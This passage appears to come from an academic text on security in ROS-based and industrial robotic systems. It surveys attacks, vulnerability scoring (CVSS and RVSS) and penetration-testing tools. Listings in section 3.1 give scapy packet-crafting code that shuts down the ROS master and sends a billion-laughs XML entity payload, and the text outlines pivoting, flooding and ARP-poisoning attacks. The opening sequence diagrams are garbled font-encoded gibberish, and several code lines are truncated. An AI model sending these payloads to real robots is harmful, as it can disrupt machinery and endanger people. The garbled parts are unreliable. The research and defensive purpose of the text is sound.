Hi S +?QQb2b h*S_Pa

`2[m2bihQTB+- S- topic- Ǵh*S_PaǴ
`2[m2bihQTB+- S- topic- Ǵh*S_PaǴ
(R-statusM essage-(Ǵh*S_PaǴ- pHost- pP ort))
(R-statusM essage-(Ǵh*S_PaǴ- aHost- aP ort))

h*S_Pa ?2/2` hS
h*S_Pa ?2/2` hS
h*S_Pa ?2/2` hP
h*S_Pa ?2/2` hP

S +?QQb2b l.S_Pa
`2[m2bihQTB+- S- topic- l.S_Pa ?2/2`
`2[m2bihQTB+- S- topic- l.S_Pa ?2/2`
(R-statusM essage- l.S_Pa ?2/2`)
(R-statusM essage- l.S_Pa ?2/2`)

hQTB+ K2bb;2

Figure 2.1: Sequence diagram of a stealth publisher attack

18
 J L 

bm#b+`B#2S`K- callernid- nU RI- ǴT`KRǴ

(R-statusM essage- param1V alue)
;2iS`K- callernid- paramKey
(R-statusM essage- param1V alue)

HQQFmTLQ/2- callernid- N
(R- statusM essage- nU RI)
mMbm#b+`B#2S`K- N - nU RI- paramKey
(R- statusM essage- numU nsubscribed)
T`KlT/i2- ǴfKbi2`Ǵ- paramKey- newV alue
(R-Ǵ Ǵ- y)

Figure 2.2: Sequence diagram of a malicious parameter update attack

updates itself. Figure 2.2 displays the sequence diagram. Cryptographic authentication with access
control would enforce here that only the previously registering identity can later unregister for the
parameter updates. Applied to this, the attacker would have to forge its victim’s identity to succeed
in unsubscribing on N’s behalf. This either requires a forged certificate or knowledge of the secret
key shared between N or the ROS master. The latter is only possible by hijacking the node N
itself or hacking into N’s key store. In both cases, the adversary has, effectively, become node N,
at least from a cryptographic perspective on how identities are defined (namely by knowledge of
secret keys).

Example 3: Service Isolation Attack Here, the attacker directly asks the ROS master to
unregister a service, so that another node (here C) cannot access that service subsequently. Figure
2.3 displays the sequence diagram Again, access control to the API call unregisterService can
prevent this.

19
 * J a 

;2iavbi2Kaii2- Ǵ+HH2`Ǵ
(R- Ǵ+m``2Mi bvbi2K bii2Ǵ- ( () () (service- (S)) ))

HQQFmTa2`pB+2- Ǵ+HH2`Ǵ- service

(R-Ǵ`Qb`T+ l_A,Ǵ service@l_A- service@l_A)

mM`2;Bbi2`a2`pB+2-S- service- service@l_A

R-ǴlM`2;Bbi2`2/ Ǵ S Ǵ b T`QpB/2` Q7 Ǵ service- R

h*S_Pa@>2/2`
h*S_Pa@>2/2`
a2`pB+2@_2[m2bi
a2`pB+2@_2bTQMb2

HQQFmTa2`pB+2- C- service
(@R- ǴMQ T`QpB/2`Ǵ- ǴǴ)

Figure 2.3: Sequence diagram of a service isolation attack

20
Chapter 3

Security of Networked Robotic

Systems

Robotics is the art of system integration. An art that aims to build machines that operate au-
tonomously: robots. A robot is often understood as a system with networks of devices. A system
of systems. One that comprises sensors to perceive its environment, actuators to act on it and
a compute substrate (often CPU-based) that processes it all and commands according to its use
case. All these devices are interconnected through one or several networks. Networking security in
robotics is thereby of utmost importance.
The following sections will summarize some security considerations for networked robotic sys-
tems. First, we will discuss intra-robot network security in ROS. Second, we will analyze inter-robot
network security aspects for an industrial setup and finally, we will look into more advanced topics
to consider when looking at networked robotic systems.

3.1 Security in ROS Networked Systems

ROS is rapidly becoming a standard in robotics however as previously introduced, it was not de-
signed with security in mind. Nonetheless, it presents one of the most widely adopted and accepted
examples of intra-networked robotic systems. All components that form ROS-based robots are
abstracted and integrated into a common data structure: the ( ROS) computational graph. It
models the overall robotic behavior through each individual computation represented as a Node,
communicating with other computation Nodes through Topics (a continuous dataflow of informa-
tion within a databus) and other abstractions. The computational graph not only helps visualize
the robotic behavior but also drives the design process by partitioning each robotic computation
into Nodes. More specifically, it abstracts the networked nature of robotic systems and helps
software engineers develop the behavior without caring about the underlying networks connecting
robot components (sensors, actuators, and cognition, among others).
From an electrical engineering’s perspective, the computational graph can be understood as the

21
 schematic of the overall robot whereas the layout (following with electrical engineering terms), the
one capturing the physical networks interconnecting robot components, is often denominated as
the ( ROS) data layer graph. The data layer graph thereby represents the physical groupings
and connections of robot components that implement the behavior modeled in the computational
graph.
From a security perspective, we should care about both. Figure 3.1 provides a simplified ex-
ample. The computational graph reflects functional aspects of the robot and thereby should be
hardened to avoid exposed flaws that empower attackers to influence the robot behavior. At the
same time, the data layer graph reflects the physical network map of the robot and any attack
vector will need to leverage entry points in such a physical map. Cut-The-Rope (Section 5.1
is one game-theoretic model played on exactly the logical graph-theoretic layout of a system, de-
scribing penetration attempts. Other game models focus on interceptions in the orchestration
of components, such as the synchronization between UAV; see Section 5.2.2 for this and further
examples).
In this section, we analyze both and walk the reader through common security issues observed in
ROS networked systems. Particularly, we highlight how through exploiting the ROS architecture
or the underlying networking protocols, security is easily compromised inside a robot’s network.

3.1.1 Instrumenting the ROS data layer graph

As with other branches of testing, security testing often requires engineers to instrument their
subjects so that results become measurable. To explore both the ROS computational graph and
the data layer graph, we develop a Python implementation of the TCPROS transport layer for
ROS. This implementation is built on top of scapy, a packet manipulation framework that can
forge or decode packets of a wide number of protocols. Listing 3.1 presents a portion of one such
implementation1 often included in security-oriented toolboxes like alurity [66].

Listing 3.1: The portion of a package dissector and crafter for TCPROS transport layer targeting
ROS Melodic Morenia 1.14.5.
1 # C o p y r i g h t (C) A l i a s R o b o t i c s <c o n t a c t @ a l i a s r o b o t i c s . com>
2 # T h i s program i s p u b l i s h e d u n d e r a GPLv3 l i c e n s e
3 # Author :
4 # V i c t o r Mayoral−V i l c h e s < v i c t o r @ a l i a s r o b o t i c s . com>
5
6 ”””
7 TCPROS t r a n s p o r t l a y e r f o r ROS M e l o d i c Morenia 1.14.5
8 ”””
9 # s c a p y . c o n t r i b . d e s c r i p t i o n = TCPROS t r a n s p o r t layer f o r ROS M e l o d i c Morenia
10 # scapy . c o n t r i b . s t a t u s = l o a d s
11 # s c a p y . c o n t r i b . name = t c p r o s
12
13 import s t r u c t
14 from s c a p y . f i e l d s import (
15 LEIntField ,
16 StrLenField ,
17 FieldLenField ,

1
Disclaimer: By no means the authors or Alias Robotics encourages or promote the unauthorized tampering
with running robotic systems. This can cause serious human harm and material damages. The portion of the code
disclosed is meant only for academic purposes.

22
 Figure 3.1: An exemplary ROS-based robotic system represented by its abstractions, the compu-
tational graph (top) and the data layer graph (bottom).

18 StrFixedLenField ,
19 PacketField ,
20 ByteField ,
21 StrField ,
22 )
23 from s c a p y . l a y e r s . i n e t import TCP
24 from s c a p y . l a y e r s . h t t p import HTTP, HTTPRequest , HTTPResponse
25 from s c a p y . p a c k e t import ∗
26
27
28 c l a s s TCPROS( P a c k e t ) :
29 ”””
30 TCPROS i s a t r a n s p o r t l a y e r f o r ROS M e s s a g e s and S e r v i c e s . I t u s e s
31 s t a n d a r d TCP/ IP s o c k e t s f o r t r a n s p o r t i n g m e s s a g e d a t a . Inbound
32 c o n n e c t i o n s a r e r e c e i v e d v i a a TCP S e r v e r S o c k e t w i t h a h e a d e r
33 c o n t a i n i n g m e s s a g e d a t a t y p e and r o u t i n g i n f o r m a t i o n .
34
35 This class f o c u s e s on c a p t u r i n g t h e ROS S l a v e API

23
 36
37 An example p a c k a g e is p r e s e n t e d below :
38
39 B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64 ....&... callerid
40 3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35 =/ r o s t o p i c 8 8 3 0 5
41 5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00 1591538787501 . .
42 00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00 . . latching =1 ’...
43 6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 md5sum=992 c e 8 a 1 6
44 38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37 87 c e c 8 c 8 b d 8 8 3 e c 7
45 33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61 3 c a 4 1 d 1 . . . . messa
46 67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74 g e d e f i n i t i o n =s t
47 72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F r i n g data . . . . . to
48 70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00 p i c =/ c h a t t e r . . . .
49 74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74 t y p e=s t d m s g s / S t
50 72 69 6E 67 ring
51
52 Sources :
53 − h t t p : / / w i k i . r o s . o r g /ROS/TCPROS
54 − h t t p : / / w i k i . r o s . o r g /ROS/ C o n n e c t i o n %20Header
55 − h t t p s : / / d o c s . python . o r g /3/ l i b r a r y / s t r u c t . html
56 − h t t p s : / / s c a p y . r e a d t h e d o c s . i o / en / l a t e s t / b u i l d d i s s e c t . html
57
58 TODO:
59 − Extend t o s u p p o r t s u b s c r i b e r ’ s interactions
60 − Unify with s u b s c r i b e r ’ s header
61
62 NOTES :
63 − 4−b y t e l e n g t h + [4 − b y t e f i e l d l e n g t h + f i e l d =v a l u e ] ∗
64 − A l l l e n g t h f i e l d s a r e l i t t l e −e n d i a n i n t e g e r s . F i e l d names and v a l u e s are strings .
65 − Cooked a s o f ROS M e l o d i c Morenia v1 . 1 4 . 5 .
66 ”””
67
68 name = ”TCPROS”
69
70 def g u e s s p a y l o a d c l a s s ( s e l f , payload ) :
71 s t r i n g p a y l o a d = p a y l o a d . d e c o d e ( ” i s o −8859−1” ) # decode to string for search
72
73 # f l a g i n d i c a t i n g i f t h e TCPROS e n c o d i n g f o r m a t i s met ( a t a g e n e r a l level )
74 # 4−b y t e l e n g t h + [4 − b y t e f i e l d l e n g t h + f i e l d =v a l u e ] ∗
75 t o t a l l e n g t h = len ( payload )
76 t o t a l l e n g t h p a y l o a d = s t r u c t . unpack ( ”<I ” , p a y l o a d [ : 4 ] ) [ 0 ]
77 remain = payload [ 4 : ]
78 r e m a i n l e n = len ( remain )
79 # f l a g o f the encoding format
80 f l a g e n c o d i n g f o r m a t = ( t o t a l l e n g t h > t o t a l l e n g t h p a y l o a d ) and (
81 t o t a l l e n g t h p a y l o a d == r e m a i n l e n
82 )
83
84 flag encoding format subfields = False
85 if flag encoding format :
86 # f l a g i n d i c a t i n g t h a t sub− f i e l d s meet
87 # TCPROS e n c o d i n g f o r m a t :
88 # [4 − b y t e f i e l d l e n g t h + f i e l d =v a l u e ] ∗
89 f l a g e n c o d i n g f o r m a t s u b f i e l d s = True
90 while r e m a i n :
91 f i e l d l e n b y t e s = s t r u c t . unpack ( ”<I ” , r e m a i n [ : 4 ] ) [ 0 ]
92 c u r r e n t = remain [ 4 : 4 + f i e l d l e n b y t e s ]
93 remain = remain [ 4 + f i e l d l e n b y t e s : ]
94
95 if i n t ( f i e l d l e n b y t e s ) != l e n ( c u r r e n t ) :
96 # p r i n t ( ”BREAKING − i n t ( f i e l d l e n b y t e s ) != l e n ( c u r r e n t ) ” )
97 flag encoding format subfields = False
98 break
99
100 if (
101 ” c a l l e r i d ” in s t r i n g p a y l o a d
102 and f l a g e n c o d i n g f o r m a t
103 and f l a g e n c o d i n g f o r m a t s u b f i e l d s
104 ):
105 return TCPROSHeader
106 elif f l a g e n c o d i n g f o r m a t and f l a g e n c o d i n g f o r m a t s u b f i e l d s :
107 return TCPROSBody
108 elif flag encoding format :
109 return TCPROSBodyVariation
110 e l i f ”HTTP/ 1 . 1 ” i n s t r i n g p a y l o a d and ” t e x t / xml ” i n s t r i n g p a y l o a d :
111 # NOTE:

24
112 # − ”HTTP/ 1 . 1 ” : c o r r e s p o n d s with melodic
113 # − ”HTTP/ 0 . 3 ” : c o r r e s p o n d s with k i n e t i c
114
115 # r e t u r n HTTPROS # c o r r e s p o n d s w i t h XML−RPC c a l l s ( Mas ter and P a r a m e t e r APIs )
116 return HTTP # u s e o l d −f a s h i o n e d HTTP, which g i v e s l e s s c o n t r o l over f i e l d s
117
118 elif ”HTTP/ 1 . 0 ” i n s t r i n g p a y l o a d and ” t e x t / xml ” i n s t r i n g p a y l o a d :
119 return HTTP # u s e o l d −f a s h i o n e d HTTP, which g i v e s l e s s c o n t r o l o v e r fields
120 else :
121 # r e t u r n Packet . g u e s s p a y l o a d c l a s s ( s e l f , payload )
122 return Raw( s e l f , p a y l o a d ) # r e t u r n s Raw l a y e r g r o u p i n g n o t o n l y t h e
123 # p a y l o a d but t h i s l a y e r i t s e l f .
124
125 ...

3.1.2 The ROS computational graph

Armed with listing 3.1, introspecting the computational graph in search for insecurities becomes a
simpler process. Starting from the reproduction of common requests between nodes, a researcher
would incrementally use a variety of techniques to challenge the resilience of the computational
graph when presented with uncommon or unexpected packages. For example, listing 3.2 shows how
to craft a package to obtain the PID of the ROS Master (local process PID in the machine where it’s
running). This information disclosure vulnerability leads to no further security hazards however,
variations of this construct will. Another example introduced in listing 3.3 allows intra-network
attacks that will frustrate the computational graph as a whole, shutting it down.

Listing 3.2: Default package to execute ”getPid” method of Master API

1 package getPid = (
2 IP ( v e r s i o n =4 , i h l =5 , t o s =0 , f l a g s =2 , f r a g =0 , d s t=” 1 2 . 0 . 0 . 2 ” )
3 / TCP(
4 s p o r t =20000 ,
5 d p o r t =11311 ,
6 s e q =1 ,
7 f l a g s =”PA” ,
8 ack =1 ,
9 )
10 / TCPROS( )
11 / HTTP( )
12 / HTTPRequest (
13 A c c e p t E n c o d i n g=b” g z i p ” ,
14 C o n t e n t L e n g t h=b” 159 ” ,
15 Content Type=b” t e x t / xml ” ,
16 Host=b” 1 2 . 0 . 0 . 2 : 1 1 3 1 1 ” ,
17 U s e r A g e n t=b” x m l r p c l i b . py / 1 . 0 . 1 ( by www. pythonware . com ) ” ,
18 Method=b”POST” ,
19 Path=b” /RPC2” ,
20 H t t p V e r s i o n=b”HTTP/ 1 . 1 ” ,
21 )
22 / XMLRPC( )
23 / XMLRPCCall (
24 v e r s i o n=b”<?xml v e r s i o n = ’1.0 ’? >\ n” ,
25 m e t h o d c a l l o p e n t a g=b”<methodCall >\n” ,
26 methodname opentag=b”<methodName>” ,
27 methodname=b” g e t P i d ” ,
28 m e t h o d n a m e c l o s e t a g=b”</methodName>\n” ,
29 p a r a m s o p e n t a g=b”<params>\n” ,
30 params=b”<param>\n<v a l u e ><s t r i n g >/ r o s t o p i c </ s t r i n g ></v a l u e >\n</param>\n” ,
31 p a r a m s c l o s e t a g=b”</params>\n” ,
32 m e t h o d c a l l c l o s e t a g=b”</methodCall >\n” ,
33 )
34 )

Listing 3.3: Default package to execute ”shutdown” method of Master API

25
 1 package shutdown = (
2 IP ( v e r s i o n =4 , i h l =5 , t o s =0 , f l a g s =2 , d s t=” 1 2 . 0 . 0 . 2 ” )
3 / TCP(
4 s p o r t =20001 ,
5 d p o r t =11311 ,
6 s e q =1 ,
7 f l a g s =”PA” ,
8 ack =1 ,
9 )
10 / TCPROS( )
11 / HTTP( )
12 / HTTPRequest (
13 A c c e p t E n c o d i n g=b” g z i p ” ,
14 C o n t e n t L e n g t h=b” 227 ” ,
15 Content Type=b” t e x t / xml ” ,
16 Host=b” 1 2 . 0 . 0 . 2 : 1 1 3 1 1 ” ,
17 U s e r A g e n t=b” x m l r p c l i b . py / 1 . 0 . 1 ( by www. pythonware . com ) ” ,
18 Method=b”POST” ,
19 Path=b” /RPC2” ,
20 H t t p V e r s i o n=b”HTTP/ 1 . 1 ” ,
21 )
22 / XMLRPC( )
23 / XMLRPCCall (
24 v e r s i o n=b”<?xml v e r s i o n = ’1.0 ’? >\ n” ,
25 m e t h o d c a l l o p e n t a g=b”<methodCall >\n” ,
26 methodname opentag=b”<methodName>” ,
27 methodname=b” shutdown ” ,
28 m e t h o d n a m e c l o s e t a g=b”</methodName>\n” ,
29 p a r a m s o p e n t a g=b”<params>\n” ,
30 params=b”<param>\n<v a l u e ><s t r i n g >/rosparam −92418</ s t r i n g ></v a l u e >\n</param>\n<param>\n<v a l u e ><s t r i n g >4L145 R080T1C5<
31 p a r a m s c l o s e t a g=b”</params>\n” ,
32 m e t h o d c a l l c l o s e t a g=b”</methodCall >\n” ,

3.1.3 The ROS data layer graph

Below the computational graph sits the data layer graph, which includes lower-layer protocols.
Various security issues affect the ROS data layer graph [70], including TCP’s SYN-ACK DoS
flooding or FIN-ACK flood attacks. These and many more attacks can easily be implemented
using simple constructs that make use of 3.1. As an additional example, listing 3.4 presents an
XML External Entity attack (codenamed as the Billion Laughs attack) that leverages flaws in the
underlying XMLRPC protocol. This flaw was reported as part of a technical report first [124] and
applies to ROS Indigo distro and previous ones.

Listing 3.4: A package that crafts the billion laughs attack exploiting a vulnerability in the XML-
RPC underlying protocol.
1 package xxe = (
2 IP ( v e r s i o n =4 , i h l =5 , t o s =0 , f l a g s =2 , d s t=” 1 2 . 0 . 0 . 2 ” )
3 / TCP(
4 s p o r t =20000 ,
5 d p o r t =11311 ,
6 s e q =1 ,
7 f l a g s =”PA” ,
8 ack =1 ,
9 )
10 / TCPROS( )
11 / HTTP( )
12 / HTTPRequest (
13 A c c e p t E n c o d i n g=b” g z i p ” ,
14 C o n t e n t L e n g t h=b” 227 ” ,
15 Content Type=b” t e x t / xml ” ,
16 Host=b” 1 2 . 0 . 0 . 2 : 1 1 3 1 1 ” ,
17 U s e r A g e n t=b” x m l r p c l i b . py / 1 . 0 . 1 ( by www. pythonware . com ) ” ,
18 Method=b”POST” ,
19 Path=b” /RPC2” ,
20 H t t p V e r s i o n=b”HTTP/ 1 . 0 ” ,

26
21 )
22 / XMLRPC( )
23 / XMLRPCCall (
24 v e r s i o n=b”<?xml v e r s i o n = ’1.0 ’? > <!DOCTYPE s t r i n g [ < !ENTITY a0 ’ d o s ’ ><!ENTITY a1 ’& a0 ;& a0 ;& a0 ;& a0 ;& a0 ;& a0 ;& a0 ;& a0 ;& a0
25 m e t h o d c a l l o p e n t a g=b”<methodCall >\n” ,
26 methodname opentag=b”<methodName>” ,
27 methodname=b” getParam ” ,
28 m e t h o d n a m e c l o s e t a g=b”</methodName>\n” ,
29 p a r a m s o p e n t a g=b”<params>\n” ,
30 params=b”<param>\n<v a l u e ><s t r i n g >/rosparam −924 s d a s d s 1 8 </ s t r i n g ></v a l u e >\n</param>\n<param>\n<v a l u e ><s t r i n g >/ r o s d i s t r
31 p a r a m s c l o s e t a g=b”</params>\n” ,
32 m e t h o d c a l l c l o s e t a g=b”</methodCall >\n” ,
33 )
34 )

3.2 Security for Industrial Multi-Agent Robotic Systems

Figure 3.2: Use case architecture diagram. The synthetic scenario presents a network segmented in 5 levels
with segregation implemented following recommendations in NIST SP 800-82 and IEC 62443 family of standards.
There are 6 identical robots from Universal Robots presenting a variety of networking setups and security measures,
each connected to their controller. Sˆn and Cˆn denote security hardened versions of an n control station or controller
respectively.

Robotic systems in industry are generally composed by multiple robot endpoints interconnected
and coordinated. Accordingly, on top of intra-robot network security issues described in the pre-

27
vious sub-section another dimension arises, inter-robot network security. Figure 3.2 presents one
such synthetic industrial scenario [70] to study the interactions between different robots and the
insecurities arising from them. The scenario presents an assembly line operated by ROS-powered
robots while following industrial guidelines on setup and security. The industrial layout is built
following NIST Special Publication 800-82 Guide to ICS Security [123] as well as some parts of
ISA/IEC 62443 family of norms [29]. Each robot is connected to a Linux-based control station
that runs the ROS-Industrial drivers using its corresponding network segment. Control stations
are interconnected and hardened by following the guidelines described in a technical report [2]. To
simplify, for the majority of the cases we assume that the controller is connected to a dedicated
Linux-based control station that runs ROS Melodic Morenia distribution and the corresponding
ROS-Industrial driver. For those cases that do not follow the previous guideline, the robot con-
troller operates independent from the ROS network (e.g. robots R3 and R6 ) but still shares the
same network segment, being connected to control stations Sˆ1 , Sˆ2 , Sˆ4 and Sˆ5 .
The following subsections describe several security issues on the industrial multi-agent robotic
setup of Figure 3.2.

3.2.1 A1 : Targeting ROS-Industrial and ROS core packages from adjacent

networks
To reason about this attack, we adopt the position of an attacker with access and privileges in a
development machine D1 in the IT side of the scenario, Level 4. Reaching such machine is beyond
the scope of this particular study but generally consists of an attacker using either a Wide Area
Network (WAN) (such as the Internet) or a physical entry-point to exploit an existing vulnerability
in the development machine D1 and obtain a certain amount of privileges (step 1 of the attack
diagram of Figure 3.3). Further to that, a privilege escalation will be performed by the exploitation
of additionally vulnerable services, which allows the attacker to eventually gain privileges into D1
and command it as desired (step 2). From D1 , an attacker would pivot into Level 3 by exploit-
ing a vulnerability or misconfiguration (or a combination of both [70]) in the ROS core and/or
ROS-Industrial packages (step 3). Having gained control of the Central Control Station S7 the
attacker could decide to establish a reverse channel of communications directly –avoiding the de-
veloper station– (step 4) or proceed to control OT (Level 2 and below) by sending commands
via the ROS computational graph (step 5).

3.2.2 A2 : Targeting underlying network protocols

Another approach to attacking multi-agent robotic systems consists of targeting underlying network
protocols interconnecting the different robot endpoints. This possibility is depicted in Figure 3.4.
As pointed out previously, ROS-Industrial software builds on top of ROS packages which also
build on top of traditional networking protocols at OSI layers 3 and 4. It’s not uncommon to find
ROS deployments using IP/TCP in the Network and Transport levels of the communication stack.

28
Figure 3.3: Diagram depicting an attack targeting ROS-Industrial and ROS core
packages. The attacker exploits a vulnerability present in a ROS package running in Sˆ7 (actionlib).
Since Sˆ7 is acting as the ROS Master, segregation does not impose restrictions on it and it is thereby
used to access other machines in the OT-level to send control commands.

The attack demonstrated in Figure 3.4 consists of a malicious attacker with privileged access to an
internal ROS-enabled control station (e.g. S1 ) disrupting the ROS-Industrial communications and
interactions of other participants of the network. The attack leverages the lack of authentication in
the ROS computational graph previously reported in other vulnerabilities of ROS such as RVD#87
or RVD#88. Without necessarily having to take control of the ROS computational graph, by
simply spoofing another participant’s credentials (at the network level) and either disturbing or
flooding communications within infrastructure’s Level 2 (Process Network), researchers were able
to demonstrate how to heavily impact the ROS and ROS-Industrial operation.

3.2.3 A3 : Targeting a Control Station through a PitM attack

A PitM attack targeting a control station (e.g. Sˆ2 ) consists of an adversary gaining access to the
network flow of information and sitting in the middle, interfering with communications between the
original publisher and subscriber as desired. Figure 3.5 depicts how PitM demands to conflict not

29
Figure 3.4: Architecture diagram depicting attacks to ROS via underlying network
protocols. Depicts two offensive actions performed as part of A2 . The SYN-ACK DoS flooding
does not affect Sˆ7 due to hardening. In green, a previously established ROSTCP communication
between Sˆ4 and Sˆ7 . In red, the FIN-ACK attack which successfully disrupts the network interaction
leveraging flaws in underlying network protocols.

just with the resolution and addressing mechanisms but also to hijack the control protocol being
manipulated (ROSTCP in this particular scenario). The attack gets initiated by a malicious actor
gaining access and control of a machine in the network (Step 1). Then, using the compromised
computer on the control network, the attacker poisons the ARP tables on the target host (Sˆ7 ) and
informs its target that it must route all its traffic through a specific IP and hardware address (Step
2, i.e., the attackers’ owned machine). By manipulating the ARP tables, the attacker can insert
themselves between Sˆ7 and Sˆ2 2 (Step 3). When a successful PitM attack is performed, the hosts
on each side of the attack are unaware that their network data is taking a different route through
the adversary’s computer.

Once an adversary has successfully inserted their machine into the information stream, they then
2
The attack described in here is a specific PitM variant known as ARP PitM.

30
Figure 3.5: Use case architecture diagram with a PitM attack: the attackers infiltrate a
machine (step 1) which is then used to perform ARP poisoning (step 2) and get attackers inserted
in the information stream (step 3). From there, attackers could replay content or modify it as
desired.

have full control over the data communications and could carry out several types of attacks. Figure
3.5 shows one possible attack realization method which is the replay attack (Step 4). In its sim-
plest form, captured data from Sˆ7 is replayed or modified and replayed. During this replay attack,
the adversary could continue to send commands to the controller and/or field devices to cause an
undesirable event while the operator is unaware of the true state of the system.

3.2.4 A4 : Targeting a vulnerable robot endpoint to compromise the network

One of the interesting observations made by [70] is that often, robot endpoints are considered as
part of the critical path of production and manufacturing processes. Correspondingly, unless there’s
a functional issue and production stops, robots are rarely modified or updated (their firmware).
This leads to (robot) connected endpoints that are easy to target and from where an attacker
could pivot into the industrial networks. Figure 3.6 depicts one of such scenarios where Mayoral-
Vilches et al. attempted first to compromise Cˆ6 (failed) and then C3 using previously reported and

31
Figure 3.6: Use case architecture diagram with an insider threat: In orange, we illustrate
a failed attack over a Universal Robots controller hardened with the Robot Immune System (RIS).
In red, a successful unrestrained code execution attack over a Universal Robots controller with the
default setup and configuration allows us to pivot and achieve both G1 and G2 .

known (yet unresolved) zero-day vulnerabilities in the Universal Robots CB3.1 controller. Examples
of such zero-days include RVD#1413 (CVE-2016-6210), RVD#1410 (CVE-2016-6515), RVD#673
(CVE-2018-10635) or RVD#1408 (CVE-2019-19626) among others. Due to the lack of concerns for
security from manufacturers like Universal Robots, these end-points can easily become rogue and
serve as an entry point for malicious actors. [70] successfully prototyped a simplified attack using
RVD#1495 (CVE-2020-10290) and taking control over C3 . From that point on, they demonstrated
how one could access not just ROS network but also the underlying network, pivot (A1 ), disrupt
(A2 ) or PitM (A3 ) as desired. Such vulnerabilities are useable to define game-theoretic defenses
as they set the action spaces for the attacker as a player in the game (see Section 5.2.1) and can
determine the playground, as in Section 5.1.

32
Chapter 4

Security Practice and Design

An obvious proposal towards hardening the security is always the adoption of stronger cryptographic
algorithms, such as quantum computer resistant schemes [1], called post-quantum cryptography.
It is fair to note that such schemes do not per se require quantum computing, but are rather
based on (quite classical) calculations that are believed to remain intractable to solve even on
quantum computers. The most prominent insecure problems on which public-key cryptography
can be based are factorization or discrete logarithms, both of which are tractable by quantum
computing using the algorithms of [120]. Reports on the integration and feasibility studies of post-
quantum cryptographic schemes are provided by [129], and found the computational overhead to be
comparable, yet partly even outperforming some more traditional security protocols on OSI layer
three. The perhaps more interesting application of quantum computing is herein for enhanced
capabilities of the robot perception, reasoning, and general functionality, as has been studied by
[98], with a diverse and rich discussion about quantum computing capabilities for future robotic
systems.

4.1 Penetration Testing

Returning to Section 2.3.3 and the specific examples therein (see Figures 2.1, 2.2, and 2.3), filling
the roles of each player (master, slave, publisher, subscriber, etc.) is doable by tools like ROSPenTo
[55] or Roschaos [135]. Both have different primary abilities to either conduct precise manipulations
on a small scale (ROSPenTo) or destroy the network with large force API (Roschaos). Both tools
come with command line interfaces allowing to script attacks along the sequence diagrams as above,
or more generally ones. The three example attacks mentioned above are described by [32] with full
call sequences in these two tools.
A useful auxiliary tool is roswtf [83], which can be run to identify a set of attack patterns, and
bring up vulnerabilities in ROS nodes that need fixing. This is a special case of the more general
procedure of vulnerability scanning, covered next.

33
4.2 Vulnerability Scanning
Broadening the view, methods from network security naturally apply in robotics, as we also have
distributed systems with many components talking to each other. In turn, a TVA identifies weak-
nesses of components and scores them according to best practices and standards. Commercial tools
like OpenVAS [36] or Nessus [127] systematically search the network, collect information about the
components, and query open databases for reported vulnerabilities. From this data, reports are
compiled that list potential vulnerability, optionally ranked by severity. A popular ranking in this
regard is the CVSS [42], which provides a score between 0 and 10, with 10 being critical and 0
signifying irrelevance. However, as of version 3.0 of CVSS, it has been found to not satisfactorily
cover the particularities of robotic systems, particularly matters of safety. In a nutshell, CVSS
considers a categorical rating in a set of metrics, each with its individual scale of values, and each
category contributing individually to the overall severity score. Below, we briefly outline the met-
rics, but refer the interested reader to the respective specifications for details, as we leave it up to
the self-explanatory nature of the metric at this point, and since the numerical computations of a
score from the categories are only of secondary interest here. Our point is that this popular scoring
scheme lacks specific metrics of relevance in the robotics context.
CVSS rates a vulnerability in three dimensions, each of which compiles a score from different
ingredients. The scoring, as a process, starts with a categorization of various properties of the
system and an exploit. These include (but are not limited to) the level of priveledges required,
kind of access (network only, or physical, etc.), and many more. We shall keep the details in the
following at a level high enough to exemplify the deficiencies of CVSS to apply for robotic systems,
but nonetheless pointing out the general method of systematizing the vulnerability judgment is
indispensable for a comprehensive security design, and to construct the defense game structure and
playground (see Chapter 5).
The CVSS score dimensions with determining factors are the following triple, with the respective
metrics as they appear in CVSS named italicized :

1. Base score: this score distinguishes aspects of exploitability and impact, both of which are
rated individually:

• Exploitation is judged from the context by which vulnerability exploitation is possible

(attack vector (AV)), conditions beyond the attacker’s control that must exist to exploit
the vulnerability (attack complexity (AC)), level of privileges an attacker must possess
before successfully exploiting the vulnerability (priviledges required (PR)), requirements
for a user, other than the attacker, to participate in the successful compromise of the
vulnerable component (user interaction (UI)), and the ability for a vulnerability in one
software component to impact resources beyond its means, or privilege (scope (S)).
• Impact covers the classical confidentiality, integrity and availability goals. Please note
that here, like in many related standards, authenticity is not in the primary focus, sub-
stantiating our exposition above on the use of cryptographic certificates in this respect,

34
 and pointing out that authenticity and access control cannot be considered as covered
by using vulnerability scanners or the CVSS methodology.

2. Temporal score: this one measures the likelihood of the vulnerability being attacked, based
on the current state of exploit techniques (Exploit Code Maturity (E)). It further depends
on the remediation state of a vulnerability (the less official and permanent fix, the higher
the vulnerability scores on the remediation level (RL)), and on the degree of confidence in
the existence of the vulnerability and the credibility of the known technical details (report
confidence (RE)).

3. Environmental score: like the base score, this one also distinguishes exploitability and impact,
and to this end considers the same ingredients as the base score, only prefixing them as
“modified” in all cases, i.e., the scores are the “modified-” versions of AV, AC, PR, UI and
S, in turn called MAV, MAC, MPR, MUI and MS for the exploitation, and MC, MI, and
MA for the impact. In both cases, they shall enable the analyst to adjust the base metrics
according to modifications that exist within the analyst’s environment.

All these variables appearing in upper-case letters above can take values on their own individual
categorical scales, which the CVSS method then translates into numbers, and compiles the scores
with given formulae. Overall, the result is a three-dimensional numeric vector (B, T, E) ∈ [0, 10]3 to
describe a vulnerability. It turns out, however, that this classification can miss out on vulnerabilities
in the robot context.
Accordingly, [131] have designed the RVSS as an extension over CVSS, whose changes we
summarize below for brevity, since RVSS inherits all metrics from CVSS, only with a few but
important refinements. Their effect will later be illustrated by a comparative example showing how
CVSS and RVSS rate vulnerabilities different:

• CVSS speaks about the context by which vulnerability exploitation is possible as the attack
vector (AV), taking categorical values in {Network (N), Adjacent Network (A), Local (L),
Physical (P)}. RVSS adopts a more refined view here by dividing the category N into sub-
categories being remote network (RN), and adjacent network (AN), and internal network, as
well as distinguishing physical access into public ,restricted or isolated. In turn, each of these
categories receives its own score and needs distinction to accurately capture a robotic system.
